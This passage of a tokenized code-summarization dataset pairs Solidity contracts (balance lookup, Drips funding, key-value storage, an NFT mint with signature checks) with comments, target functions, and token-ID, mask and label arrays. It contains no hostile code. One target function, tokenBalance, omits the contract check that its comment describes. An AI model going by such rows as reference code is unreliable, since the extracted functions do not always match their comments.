5541,
288,
203,
3639,
2583,
12,
203,
5411,
394,
5541,
480,
1758,
12,
20,
3631,
203,
5411,
315,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
6,
203,
3639,
11272,
203,
3639,
389,
13866,
5460,
12565,
12,
2704,
5541,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
13866,
5460,
12565,
12,
2867,
394,
5541,
13,
2713,
5024,
288,
203,
3639,
1758,
1592,
5541,
273,
389,
2
]
|
./full_match/1/0xD9F65f0d2135BeE238db9c49558632Eb6030CAa7/sources/contracts/party/PartyGovernance.sol | Otherwise must be an ERC20 token distribution. | assert(tokenType == ITokenDistributor.TokenType.Erc20);
| 2,943,881 | [
1,
8290,
2460,
1297,
506,
392,
4232,
39,
3462,
1147,
7006,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1815,
12,
2316,
559,
422,
467,
1345,
1669,
19293,
18,
28675,
18,
41,
1310,
3462,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
/*
Contract for DeltaBalances.github.io V3
Check balances for multiple ERC20 tokens in 1 batched request.
For the previous versions, see 0x3150954EAE1a8a5e5EE1F1B8E8444Fe16EA9F94C, 0xf5f563D3A99152c18cE8b133232Fe34317F60FEF
// address 0x0 is used to indicate ETH
*/
// Exchange contract Interface for EtherDelta and forks
contract Exchange {
function balanceOf(address /*token*/, address /*user*/) public view returns (uint);
}
// ERC20 contract interface
contract Token {
function balanceOf(address /*tokenOwner*/) public view returns (uint /*balance*/);
function transfer(address /*to*/, uint /*tokens*/) public returns (bool /*success*/);
}
contract DeltaBalances {
address public admin;
function DeltaBalances() public {
admin = msg.sender;
}
// Fallback function, don't accept any ETH
function() public payable {
revert();
}
// Limit withdrawals to the contract creator
modifier isAdmin() {
require(msg.sender == admin);
_;
}
// Backup withdraw, in case ETH gets in here
function withdraw() external isAdmin {
admin.transfer(address(this).balance);
}
// Backup withdraw, in case ERC20 tokens get in here
function withdrawToken(address token, uint amount) external isAdmin {
require(token != address(0x0) && Token(token).transfer(msg.sender, amount));
}
/* Get multiple token balances on EtherDelta (or similar exchange)
Possible error throws:
- invalid exchange contract
- using an extremely large array (gas cost too high?)
Returns array of token balances in wei units. */
function deltaBalances(address exchange, address user, address[] tokens) external view returns (uint[]) {
Exchange ex = Exchange(exchange);
uint[] memory balances = new uint[](tokens.length);
for(uint i = 0; i < tokens.length; i++) {
balances[i] = ex.balanceOf(tokens[i], user);
}
return balances;
}
/* Get multiple token balances on EtherDelta (or similar exchange)
Possible error throws:
- invalid exchange contract
- using extremely large arrays (gas cost too high?)
Returns array of token balances in wei units.
Balances in token-first order [token0ex0, token0ex1, token0ex2, token1ex0, token1ex1 ...] */
function multiDeltaBalances(address[] exchanges, address user, address[] tokens) external view returns (uint[]) {
uint[] memory balances = new uint[](tokens.length * exchanges.length);
for(uint i = 0; i < exchanges.length; i++) {
Exchange ex = Exchange(exchanges[i]);
for(uint j = 0; j < tokens.length; j++) {
balances[(j * exchanges.length) + i] = ex.balanceOf(tokens[j], user);
}
}
return balances;
}
/* Check the token balance of a wallet in a token contract
Avoids possible errors:
- returns 0 on invalid exchange contract
- return 0 on non-contract address
Mainly for internal use, but public for anyone who thinks it is useful */
function tokenBalance(address user, address token) public view returns (uint) {
// check if token is actually a contract
uint256 tokenCode;
assembly { tokenCode := extcodesize(token) } // contract code size
// is it a contract and does it implement balanceOf
if(tokenCode > 0 && token.call(bytes4(0x70a08231), user)) { // bytes4(keccak256("balanceOf(address)")) == bytes4(0x70a08231)
return Token(token).balanceOf(user);
} else {
return 0; // not a valid token, return 0 instead of error
}
}
/* Check the token balances of a wallet for multiple tokens
Uses tokenBalance() to be able to return, even if a token isn't valid
Possible error throws:
- extremely large arrays (gas cost too high)
Returns array of token balances in wei units. */
function walletBalances(address user, address[] tokens) external view returns (uint[]) {
uint[] memory balances = new uint[](tokens.length);
for(uint i = 0; i < tokens.length; i++) {
if(tokens[i] != address(0x0)) {
balances[i] = tokenBalance(user, tokens[i]);
} else {
balances[i] = user.balance; // ETH balance
}
}
return balances;
}
/* Combine walletBalances() and deltaBalances() to get both exchange and wallet balances for multiple tokens.
Possible error throws:
- extremely large arrays (gas cost too high)
Returns array of token balances in wei units, 2* input length.
even index [0] is exchange balance, odd [1] is wallet balance
[tok0ex, tok0, tok1ex, tok1, .. ] */
function allBalances(address exchange, address user, address[] tokens) external view returns (uint[]) {
Exchange ex = Exchange(exchange);
uint[] memory balances = new uint[](tokens.length * 2);
for(uint i = 0; i < tokens.length; i++) {
uint j = i * 2;
balances[j] = ex.balanceOf(tokens[i], user);
if(tokens[i] != address(0x0)) {
balances[j + 1] = tokenBalance(user, tokens[i]);
} else {
balances[j + 1] = user.balance; // ETH balance
}
}
return balances;
}
} | check if token is actually a contract is it a contract and does it implement balanceOf | function tokenBalance(address user, address token) public view returns (uint) {
uint256 tokenCode;
return Token(token).balanceOf(user);
}
| 10,634,474 | [
1,
1893,
309,
1147,
353,
6013,
279,
6835,
353,
518,
279,
6835,
471,
1552,
518,
2348,
11013,
951,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
1147,
13937,
12,
2867,
729,
16,
1758,
1147,
13,
1071,
1476,
1135,
261,
11890,
13,
288,
203,
565,
2254,
5034,
1147,
1085,
31,
203,
27699,
1377,
327,
3155,
12,
2316,
2934,
12296,
951,
12,
1355,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/11155111/0x3f9C6646CCFa4597C45761B3e9a1Da0cF00253D5/sources/src/Drips.sol | @notice Gives funds from the user to the receiver. The receiver can split and collect them immediately. Requires that the tokens used to give are already sent to Drips and are withdrawable. Anybody can call `withdraw`, so all withdrawable funds should be withdrawn or used in the protocol before any 3rd parties have a chance to do that. @param userId The user ID. @param receiver The receiver user ID. @param erc20 The used ERC-20 token. It must preserve amounts, so if some amount of tokens is transferred to an address, then later the same amount must be transferable from that address. Tokens which rebase the holders' balances, collect taxes on transfers, or impose any restrictions on holding or transferring tokens are not supported. If you use such tokens in the protocol, they can get stuck or lost. @param amt The given amount | function give(uint256 userId, uint256 receiver, IERC20 erc20, uint128 amt)
public
whenNotPaused
onlyDriver(userId)
{
if (amt != 0) _increaseSplitsBalance(erc20, amt);
Splits._give(userId, receiver, _assetId(erc20), amt);
}
| 3,824,010 | [
1,
43,
3606,
284,
19156,
628,
326,
729,
358,
326,
5971,
18,
1021,
5971,
848,
1416,
471,
3274,
2182,
7636,
18,
16412,
716,
326,
2430,
1399,
358,
8492,
854,
1818,
3271,
358,
463,
566,
1121,
471,
854,
598,
9446,
429,
18,
5502,
3432,
848,
745,
1375,
1918,
9446,
9191,
1427,
777,
598,
9446,
429,
284,
19156,
1410,
506,
598,
9446,
82,
578,
1399,
316,
326,
1771,
1865,
1281,
890,
13623,
1087,
606,
1240,
279,
17920,
358,
741,
716,
18,
225,
6249,
1021,
729,
1599,
18,
225,
5971,
1021,
5971,
729,
1599,
18,
225,
6445,
71,
3462,
1021,
1399,
4232,
39,
17,
3462,
1147,
18,
2597,
1297,
9420,
30980,
16,
1427,
309,
2690,
3844,
434,
2430,
353,
906,
4193,
358,
392,
1758,
16,
1508,
5137,
326,
1967,
3844,
1297,
506,
7412,
429,
628,
716,
1758,
18,
13899,
1492,
283,
1969,
326,
366,
4665,
11,
324,
26488,
16,
3274,
5320,
281,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
8492,
12,
11890,
5034,
6249,
16,
2254,
5034,
5971,
16,
467,
654,
39,
3462,
6445,
71,
3462,
16,
2254,
10392,
25123,
13,
203,
3639,
1071,
203,
3639,
1347,
1248,
28590,
203,
3639,
1338,
4668,
12,
18991,
13,
203,
565,
288,
203,
3639,
309,
261,
301,
88,
480,
374,
13,
389,
267,
11908,
16582,
13937,
12,
12610,
3462,
16,
25123,
1769,
203,
3639,
5385,
87,
6315,
75,
688,
12,
18991,
16,
5971,
16,
389,
9406,
548,
12,
12610,
3462,
3631,
25123,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Storage is Ownable {
/// @dev Bytes storage.
mapping(bytes32 => bytes) private _bytes;
/// @dev Bool storage.
mapping(bytes32 => bool) private _bool;
/// @dev Uint storage.
mapping(bytes32 => uint256) private _uint;
/// @dev Int storage.
mapping(bytes32 => int256) private _int;
/// @dev Address storage.
mapping(bytes32 => address) private _address;
/// @dev String storage.
mapping(bytes32 => string) private _string;
event Updated(bytes32 indexed key);
/**
* @param key The key for the record
*/
function getBytes(bytes32 key) external view returns (bytes memory) {
return _bytes[key];
}
/**
* @param key The key for the record
*/
function getBool(bytes32 key) external view returns (bool) {
return _bool[key];
}
/**
* @param key The key for the record
*/
function getUint(bytes32 key) external view returns (uint256) {
return _uint[key];
}
/**
* @param key The key for the record
*/
function getInt(bytes32 key) external view returns (int256) {
return _int[key];
}
/**
* @param key The key for the record
*/
function getAddress(bytes32 key) external view returns (address) {
return _address[key];
}
/**
* @param key The key for the record
*/
function getString(bytes32 key) external view returns (string memory) {
return _string[key];
}
/**
* @param key The key for the record
* @param value The value to set.
*/
function setBytes(bytes32 key, bytes calldata value) external onlyOwner {
_bytes[key] = value;
emit Updated(key);
}
/**
* @param key The key for the record
* @param value The value to set.
*/
function setBool(bytes32 key, bool value) external onlyOwner {
_bool[key] = value;
emit Updated(key);
}
/**
* @param key The key for the record
* @param value The value to set.
*/
function setUint(bytes32 key, uint256 value) external onlyOwner {
_uint[key] = value;
emit Updated(key);
}
/**
* @param key The key for the record
* @param value The value to set.
*/
function setInt(bytes32 key, int256 value) external onlyOwner {
_int[key] = value;
emit Updated(key);
}
/**
* @param key The key for the record
* @param value The value to set.
*/
function setAddress(bytes32 key, address value) external onlyOwner {
_address[key] = value;
emit Updated(key);
}
/**
* @param key The key for the record
* @param value The value to set.
*/
function setString(bytes32 key, string calldata value) external onlyOwner {
_string[key] = value;
emit Updated(key);
}
/**
* @param key The key for the record
*/
function deleteBytes(bytes32 key) external onlyOwner {
delete _bytes[key];
emit Updated(key);
}
/**
* @param key The key for the record
*/
function deleteBool(bytes32 key) external onlyOwner {
delete _bool[key];
emit Updated(key);
}
/**
* @param key The key for the record
*/
function deleteUint(bytes32 key) external onlyOwner {
delete _uint[key];
emit Updated(key);
}
/**
* @param key The key for the record
*/
function deleteInt(bytes32 key) external onlyOwner {
delete _int[key];
emit Updated(key);
}
/**
* @param key The key for the record
*/
function deleteAddress(bytes32 key) external onlyOwner {
delete _address[key];
emit Updated(key);
}
/**
* @param key The key for the record
*/
function deleteString(bytes32 key) external onlyOwner {
delete _string[key];
emit Updated(key);
}
}
| * @param key The key for the record/ | function getUint(bytes32 key) external view returns (uint256) {
return _uint[key];
}
| 12,778,975 | [
1,
856,
1021,
498,
364,
326,
1409,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
336,
5487,
12,
3890,
1578,
498,
13,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
389,
11890,
63,
856,
15533,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @creator: mhxalt.eth
/// @author: seesharp.eth
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// __/\\\\\\\\\\\\___________________________________________________________/\\\\\\\\\\\\\____/\\\\\\___________________________________________________________
/// _\/\\\////////\\\________________________________________________________\/\\\/////////\\\_\////\\\_________________________________/\\\______________________
/// _\/\\\______\//\\\____________________/\\\_______________________________\/\\\_______\/\\\____\/\\\________________________________\/\\\______________________
/// _\/\\\_______\/\\\__/\\\\\\\\\_____/\\\\\\\\\\\__/\\\\\\\\\______________\/\\\\\\\\\\\\\\_____\/\\\________/\\\\\________/\\\\\\\\_\/\\\\\\\\_____/\\\\\\\\\\_
/// _\/\\\_______\/\\\_\////////\\\___\////\\\////__\////////\\\_____________\/\\\/////////\\\____\/\\\______/\\\///\\\____/\\\//////__\/\\\////\\\__\/\\\//////__
/// _\/\\\_______\/\\\___/\\\\\\\\\\_____\/\\\________/\\\\\\\\\\____________\/\\\_______\/\\\____\/\\\_____/\\\__\//\\\__/\\\_________\/\\\\\\\\/___\/\\\\\\\\\\_
/// _\/\\\_______/\\\___/\\\/////\\\_____\/\\\_/\\___/\\\/////\\\____________\/\\\_______\/\\\____\/\\\____\//\\\__/\\\__\//\\\________\/\\\///\\\___\////////\\\_
/// _\/\\\\\\\\\\\\/___\//\\\\\\\\/\\____\//\\\\\___\//\\\\\\\\/\\___________\/\\\\\\\\\\\\\/___/\\\\\\\\\__\///\\\\\/____\///\\\\\\\\_\/\\\_\///\\\__/\\\\\\\\\\_
/// _\////////////______\////////\//______\/////_____\////////\//____________\/////////////____\/////////_____\/////________\////////__\///____\///__\//////////__
interface ZEN_BLOCKS {
function mint(address _addr, uint256 _amount) external;
function upgrade(uint256 _tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address);
}
contract DATA_BLOCKS is ERC1155, Ownable {
uint256 constant public maxSupply = 2222;
uint256 public mintedSupply = 0;
uint256 public burnedSupply = 0;
uint256 public remainingAirDropSupply = 120;
uint256 public mintActiveTs = 0;
uint256 public mintPublicActiveTs = 0;
uint256 public mintZenBlockActiveTs = 0;
uint256 public upgradeZenBlockActiveTs = 0;
address public ashContract;
address public zenBlocksContract;
address private validatorAddress;
uint256 constant private _tokenId = 1;
uint256 constant public priceInASH = 8000000000000000000; // 8 ASH
uint256 constant private _mintPerAddressLimit = 2; // per wallet mint limit (public sale and allow list are counted separately)
mapping(address => uint256) private _allowlistMintCntPerAddress;
mapping(address => uint256) private _mintPublicCntPerAddress;
bool private _transferLock = true;
uint256 private _royaltyBps;
address payable private _royaltyRecipient;
bytes4 constant private _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6;
bytes4 constant private _INTERFACE_ID_ROYALTIES_EIP2981 = 0x2a55205a;
bytes4 constant private _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584;
string constant private _eip191prefixAL = "\x19Ethereum Signed Message:\n34AL_DATA_BLOCKS";
string constant private _eip191prefixPS = "\x19Ethereum Signed Message:\n130PS_DATA_BLOCKS";
event MintWillActivateOn(uint256 timestamp);
event MintDeactivated();
event MintPublicWillActivateOn(uint256 timestamp);
event MintPublicDeactivated();
event MintZenBlockWillActivateOn(uint256 timestamp);
event MintZenBlockDeactivated();
event UpgradeZenBlockWillActivateOn(uint256 timestamp);
event UpgradeZenBlockDeactivated();
constructor(address _ashContract, address _validatorAddress, string memory uri) ERC1155(uri) {
ashContract = _ashContract;
validatorAddress = _validatorAddress;
}
/**
* MINT FUNCTIONS
* NOTE: first 8 bits of nonce is always 0
*/
function mintPublicWithASH(uint256 _mintAmount, uint256 _timestamp, uint256 _nonce, uint8 v, bytes32 r, bytes32 s) public {
require(mintPublicActiveTs != 0, "public mint date is not set");
require(block.timestamp >= mintPublicActiveTs, "wait for public mint time");
require(block.timestamp <= _timestamp, "timeout");
require(_mintAmount > 0, "need to mint at least 1 NFT");
require((mintedSupply + remainingAirDropSupply + _mintAmount) <= maxSupply, "max NFT limit exceeded");
uint256 addressPublicMintedCount = (_mintPublicCntPerAddress[msg.sender] & 0xFF); // last byte is mint count, other bytes are last used nonce
require(addressPublicMintedCount + _mintAmount <= _mintPerAddressLimit, "max NFT per address exceeded");
uint256 old_nonce = (_mintPublicCntPerAddress[msg.sender] >> 8); // to prevent reuse of single mint signature
require(old_nonce != _nonce, "this signature has already been used");
require(validatorAddress != address(0x0), "validator not set");
bytes32 hash = keccak256(abi.encodePacked(_eip191prefixPS, msg.sender, _mintAmount, _timestamp, _nonce));
require(validatorAddress == ecrecover(hash, v, r, s), "signature is wrong!!");
bool success = IERC20(ashContract).transferFrom(msg.sender, address(this), priceInASH * _mintAmount);
require(success, "approve contract for ASH");
_mintPublicCntPerAddress[msg.sender] = (addressPublicMintedCount + _mintAmount) | (_nonce << 8);
mintedSupply += _mintAmount;
_mint(msg.sender, _tokenId, _mintAmount, "");
if ((mintedSupply + remainingAirDropSupply) == maxSupply) {
_transferLock = false; // unlock NFT's when mint ends
}
}
function mintAllowlistedWithASH(uint256 _mintAmount, uint8 v, bytes32 r, bytes32 s) public {
require(mintActiveTs != 0, "mint date is not set");
require(block.timestamp >= mintActiveTs, "wait for mint time");
require(_mintAmount > 0, "need to mint at least 1 NFT");
require((mintedSupply + remainingAirDropSupply + _mintAmount) <= maxSupply, "max NFT limit exceeded");
uint256 addressMintedCount = _allowlistMintCntPerAddress[msg.sender];
require(addressMintedCount + _mintAmount <= _mintPerAddressLimit, "max NFT per address exceeded");
require(validatorAddress != address(0x0), "validator not set");
bytes32 hash = keccak256(abi.encodePacked(_eip191prefixAL, msg.sender));
require(validatorAddress == ecrecover(hash, v, r, s), "signature is wrong!!");
bool success = IERC20(ashContract).transferFrom(msg.sender, address(this), priceInASH * _mintAmount);
require(success, "approve contract for ASH");
_allowlistMintCntPerAddress[msg.sender] = addressMintedCount + _mintAmount;
